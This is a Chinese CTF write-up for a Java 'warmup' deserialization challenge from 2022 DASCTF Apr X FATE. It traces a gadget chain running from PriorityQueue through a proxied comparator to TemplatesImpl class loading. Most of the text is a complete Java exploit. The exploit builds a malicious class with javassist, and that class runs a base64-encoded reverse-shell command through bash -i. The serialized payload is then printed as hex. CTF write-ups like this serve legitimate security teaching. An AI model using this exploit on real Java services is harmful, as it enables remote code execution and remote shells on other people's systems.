没错,还是java。
我就跟java杠上了。
分析
先看依赖:
没有啥特别的。
审一下源码:
IndexController.java:
warmup路由下传参data,下面把十六进制转为字节直接反序列化了。
看下动态代理MyInvocationHandler.java:
看一下Utils的hexStringToBytes方法:
下面分析来自Java专题 - 简书 (jianshu.com)
MyInvocationHandler的invoke方法在执行type的方法时只传入了一个参数,那么毫无疑问是要传入对象本身,也就是要找一个利用方法是无参的,还能帮助我们执行恶意代码或者恶意的命令的。而
TemplatesImpl.getTransletInstance()刚好符合上面的描述。 那么下面就是如何去执行到invoke()了。
下面看反序列化,如果只是进行反序列化,即便我们做了动态代理也无法执行代理类的方法(因为在反序列化的过程中没有调用任何方法),为解决这个问题,我们可以想到CC2的PriorityQueue,让其中的comparator方法做代理,会在反序列化的时候被调用,然后就会执行invoke方法,成功执行恶意代码。
不了解CC2,请自行查询一下吧。
其实简单来讲,我们这里就是使用动态代理中的invok()方法代替了CC2中的
PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingComparator() TransformingComparator.compare() InvokerTransformer.transform() Method.invoke()
前面半条链,因为项目中并没有引入commons-collections4的jar包,也就没有TransformingComparator和InvokerTransformer类。
所以整条链可以是【Web】2022DASCTF Apr X FATE 防疫挑战赛 题解(全)-CSDN博客:
PriorityQueue#readObject() -> PriorityQueue#heapify() -> PriorityQueue#siftDown()-> PriorityQueue#siftDownUsingComparator() -> proxy.compare(TemplatesImpl) -> MyInvocationHandler#invoke() -> TemplatesImpl#getOutputProperties -> TemplatesImpl#newTransformer -> TemplatesImpl#getTransletInstance -> TemplatesImpl#defineTransletClasses -> loader.defineClass(_bytecodes[i])
EXP
package com.eddiemurphy; import com.example.warmup.MyInvocationHandler; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.Proxy; import java.util.Comparator; import java.util.PriorityQueue; public class Exp { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static TemplatesImpl generateEvilTemplates() throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Devil"); String cmd = "java.lang.Runtime.getRuntime().exec(\"bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}\");"; // 创建 static 代码块,并插入代码 cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilDevil" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); // 转换为bytes byte[] classBytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes", targetByteCodes); // 进入 defineTransletClasses() 方法需要的条件 setFieldValue(templates, "_name", "name" + System.nanoTime()); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); return templates; } //序列化 public static void serialize(Object obj) throws IOException { ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } //反序列化 public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename)); Object object=ois.readObject(); return object; } public static String bytesTohexString(String s) throws IOException { File file = new File(s); FileInputStream fis = new FileInputStream(file); byte[] bytes = new byte[(int) file.length()]; fis.read(bytes); if (bytes == null) { return null; } else { StringBuilder ret = new StringBuilder(2 * bytes.length); for(int i = 0; i < bytes.length; ++i) { int b = 15 & bytes[i] >> 4; ret.append("0123456789abcdef".charAt(b)); b = 15 & bytes[i]; ret.append("0123456789abcdef".charAt(b)); } return ret.toString(); } } public static void main(String[] args) throws Exception { TemplatesImpl templates = generateEvilTemplates(); MyInvocationHandler myInvocationHandler = new MyInvocationHandler(); Class c = myInvocationHandler.getClass(); Field type = c.getDeclaredField("type"); type.setAccessible(true); type.set(myInvocationHandler,Templates.class); //代理接口为Comparator,便于后续调用compare方法 Comparator proxy = (Comparator) Proxy.newProxyInstance(MyInvocationHandler.class.getClassLoader(), new Class[]{Comparator.class}, myInvocationHandler); //初始化属性comparator为proxy类 PriorityQueue priorityQueue = new PriorityQueue(2); priorityQueue.add(1); priorityQueue.add(2); Object[] queue = {templates,templates}; setFieldValue(priorityQueue,"comparator",proxy); setFieldValue(priorityQueue,"queue",queue); serialize(priorityQueue); System.out.println(bytesTohexString("ser.bin")); } }标签:templates,TemplatesImpl,java,FATE,warmup,PriorityQueue,import,new From: https://www.cnblogs.com/EddieMurphy-blogs/p/18166454